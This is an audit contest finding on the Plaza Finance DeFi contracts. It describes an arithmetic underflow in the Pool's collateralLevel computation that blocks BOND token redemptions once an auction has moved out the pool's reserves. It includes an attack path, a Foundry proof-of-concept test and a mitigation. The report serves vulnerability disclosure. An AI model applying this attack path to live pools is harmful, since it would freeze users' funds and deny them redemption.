Refined Silver Kookaburra

Medium

# DOS on redeems tokens due to underflow in collateralLevel computation

### Summary

An underflow in [collateralLevel](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/14a962c52a8f4731bbe4655a2f6d0d85e144c7c2/plaza-evm/src/Pool.sol#L498) computation can cause [redeem](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/14a962c52a8f4731bbe4655a2f6d0d85e144c7c2/plaza-evm/src/Pool.sol#L477) to revert.

### Root Cause

Here is the formula for [collateralLevel computation](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/14a962c52a8f4731bbe4655a2f6d0d85e144c7c2/plaza-evm/src/Pool.sol#L498). It is possible that `tvl` can be less than `depositAmount * BOND_TARGET_PRICE`.
```solidity
if (tokenType == TokenType.BOND) {
      collateralLevel = ((tvl - (depositAmount * BOND_TARGET_PRICE)) * PRECISION) / ((bondSupply - depositAmount) * BOND_TARGET_PRICE);
    } else {
      multiplier = POINT_TWO;
      assetSupply = levSupply;
      collateralLevel = (tvl * PRECISION) / (bondSupply * BOND_TARGET_PRICE);`

```  

For simplicity
lets say:
**1.** Creates a new pool:
reserve token = weth
coupon token = usdc
`reserveAmount` = 100 ether
`bondAmount` = 500 ether
`leverageAmount` = 250 ether

**2**. User1 creates BOND tokens by depositing 10 ether reserve tokens
current pool `reserveAmount(weth)` =110,000000000000000000 = 100 ether + 10 ether
mintedAmount = 300,000000000000000000

**3.** Starts an auction:
`couponAmountToDistribute` = 1000000000000
`poolSaleLimit` =110

**4.** Ends the auction 
[Transfers](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/14a962c52a8f4731bbe4655a2f6d0d85e144c7c2/plaza-evm/src/Auction.sol#L345) the `totalSellReserveAmount`(110000000000000000000)  to the auction.
current pool `reserveAmount(weth)` =0
current tvl = 0

**5.** user1 redeem tokens revert due to underflow in `collateralLevel `computation
redeemAmount = 300,000000000000000000
current tvl =0






### Internal Pre-conditions

_No response_

### External Pre-conditions

_No response_

### Attack Path

1. Creates a new pool
2. Users creates BOND tokens by depositing  reserve tokens
3. Starts an auction
4. Ends the auction and [Transfers](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/14a962c52a8f4731bbe4655a2f6d0d85e144c7c2/plaza-evm/src/Auction.sol#L345) the `totalSellReserveAmount`  from pool to the `auction address`.
5.  user redeem tokens revert due to `tvl`  less than `mintedAmount`

### Impact

DOS on redeems tokens due to underflow 

### PoC

Pathï¼š
plaza-evm/test/poc.t.sol
```solidity

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {MockPriceFeed} from "./mocks/MockPriceFeed.sol";
import {Pool} from "../src/Pool.sol";
import {Token} from "./mocks/Token.sol";
import {Utils} from "../src/lib/Utils.sol";
import {Auction} from "../src/Auction.sol";
import {MockPool} from "./mocks/MockPool.sol";
import {BondToken} from "../src/BondToken.sol";
import {PoolFactory} from "../src/PoolFactory.sol";
import {Distributor} from "../src/Distributor.sol";
import {OracleFeeds} from "../src/OracleFeeds.sol";
import {LeverageToken} from "../src/LeverageToken.sol";
import {Deployer} from "../src/utils/Deployer.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";

contract AuctionTest is Test {
  Auction auction;
  Token usdc;
  Token weth;

  address bidder = address(0x1);
  address house = address(0x2);
  address minter = address(0x3);
  address governance = address(0x4);
  address securityCouncil = address(0x5);

  MockPriceFeed private mockPriceFeed;

  Pool pool;
  address private user = address(0x5);
  address private user2 = address(0x6);


   address public constant ethPriceFeed = address(0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70);
  uint256 private constant CHAINLINK_DECIMAL_PRECISION = 10**8;
  uint8 private constant CHAINLINK_DECIMAL = 8;
  function setUp() public {
    usdc = new Token("USDC", "USDC", false);
    weth = new Token("WETH", "WETH", false);
    
    pool = Pool(createPool(address(weth), address(usdc)));
    useMockPool(address(pool));

    vm.startPrank(address(pool));
    auction = Auction(Utils.deploy(
      address(new Auction()),
      abi.encodeWithSelector(
        Auction.initialize.selector,
        address(usdc),
        address(weth),
        1000000000000,
        block.timestamp + 10 days,
        1000,
        house,
        110
      )
    ));
    vm.stopPrank();
  }

  function createPool(address reserve, address coupon) public returns (address) {
    vm.startPrank(governance);
    address deployer = address(new Deployer());
    address oracleFeeds = address(new OracleFeeds());

    address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));
    address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
    address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
    address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));

    PoolFactory poolFactory = PoolFactory(Utils.deploy(address(new PoolFactory()), abi.encodeCall(
      PoolFactory.initialize, 
      (governance, deployer, oracleFeeds, poolBeacon, bondBeacon, levBeacon, distributorBeacon)
    )));

    PoolFactory.PoolParams memory params;
    params.fee = 0;
    params.reserveToken = reserve;
    params.sharesPerToken = 2500000;
    params.distributionPeriod = 90 days;
    params.couponToken = coupon;
    
    OracleFeeds(oracleFeeds).setPriceFeed(params.reserveToken, address(0), ethPriceFeed, 1 days);

    // Deploy the mock price feed
    mockPriceFeed = new MockPriceFeed();

    // Use vm.etch to deploy the mock contract at the specific address
    bytes memory bytecode = address(mockPriceFeed).code;
    vm.etch(ethPriceFeed, bytecode);

    // Set oracle price
    mockPriceFeed = MockPriceFeed(ethPriceFeed);
    mockPriceFeed.setMockPrice(3000 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));

    poolFactory.grantRole(poolFactory.GOV_ROLE(), governance);
    poolFactory.grantRole(poolFactory.POOL_ROLE(), governance);
    poolFactory.grantRole(poolFactory.SECURITY_COUNCIL_ROLE(), securityCouncil);
    
    Token(reserve).mint(governance, 1000 ether);
    Token(reserve).approve(address(poolFactory), 1000 ether);
    
    return poolFactory.createPool(params, 100 ether, 500 ether, 250 ether, "Bond ETH", "bondETH", "Leverage ETH", "levETH", false);
  }

   function useMockPool(address poolAddress) public {
    // Deploy the mock pool
    MockPool mockPool = new MockPool();

    // Use vm.etch to deploy the mock contract at the specific address
    vm.etch(poolAddress, address(mockPool).code);
  }



    function testPoc() public {
 
   Token rToken = Token(weth);
    // User creates bond tokens
    vm.startPrank(user);
    
    rToken.mint(user, 200 ether);
    rToken.approve(address(pool), 200 ether);
    uint256 bondAmount = pool.create(Pool.TokenType.BOND, 10 ether, 0);
    console.log("bondAmount",bondAmount);//300,000000000000000000
    console.log("rToken.balanceOf after create",rToken.balanceOf(address(pool)));//110000000000000000000
  vm.stopPrank();

/////////////////////////////////////////////////////////
//auction
    vm.startPrank(bidder);
    usdc.mint(bidder, 1000000000000 ether);
    usdc.approve(address(auction), 1000000000000 ether);
    auction.bid(110 ether, 1000000000000);//totalSellReserveAmount: 110000000000000000000
    vm.stopPrank();
    vm.warp(block.timestamp + 15 days);
   

    vm.startPrank(address(pool));
    auction.endAuction();
    console.log("rToken.balanceOf end action",rToken.balanceOf(address(pool)));//0
    assertEq(uint256(auction.state()), uint256(Auction.State.SUCCEEDED));
    vm.stopPrank();

    mockPriceFeed.setMockPrice(3000 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));

//////////////////////////////////////////////////////////////////////
//user redeem
    vm.startPrank(user);
    pool.bondToken().approve(address(pool), bondAmount);
    uint256 redeemedAmount = pool.redeem(Pool.TokenType.BOND, bondAmount, 0);


  }

}

```

[FAIL. Reason: panic: arithmetic underflow or overflow (0x11)] testPoc() (gas: 722376)

### Mitigation

When calculating the collateral level, consider the case where `tvl` is less than `redeemAmount`